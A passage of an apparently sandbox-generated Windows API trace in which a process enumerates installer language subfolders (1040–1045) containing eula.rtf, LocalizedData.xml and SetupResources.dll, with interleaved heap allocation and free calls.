ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.276] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.276] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.276] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.276] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0088.276] GetProcessHeap () returned 0xc00000 [0088.276] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.276] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1040", cAlternateFileName="")) returned 1 [0088.277] GetProcessHeap () returned 0xc00000 [0088.277] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.279] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.279] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.279] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.279] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.279] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.279] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.279] GetProcessHeap () returned 0xc00000 [0088.279] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.279] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1041", cAlternateFileName="")) returned 1 [0088.279] GetProcessHeap () returned 0xc00000 [0088.279] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.280] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.280] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.280] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.280] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.280] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.281] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.281] GetProcessHeap () returned 0xc00000 [0088.281] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.281] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1042", cAlternateFileName="")) returned 1 [0088.281] GetProcessHeap () returned 0xc00000 [0088.281] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.281] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.281] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.281] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.281] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.282] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.282] GetProcessHeap () returned 0xc00000 [0088.282] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.282] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1043", cAlternateFileName="")) returned 1 [0088.282] GetProcessHeap () returned 0xc00000 [0088.282] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.282] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.283] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.283] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.283] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.283] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.283] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.283] GetProcessHeap () returned 0xc00000 [0088.283] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.283] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1044", cAlternateFileName="")) returned 1 [0088.283] GetProcessHeap () returned 0xc00000 [0088.283] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.284] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.284] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.285] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.285] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.285] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.285] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.285] GetProcessHeap () returned 0xc00000 [0088.285] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.285] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1045", cAlternateFileName="")) returned 1 [0088.285] GetProcessHeap () returned 0xc00000 [0088.285] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.287] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.287] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, 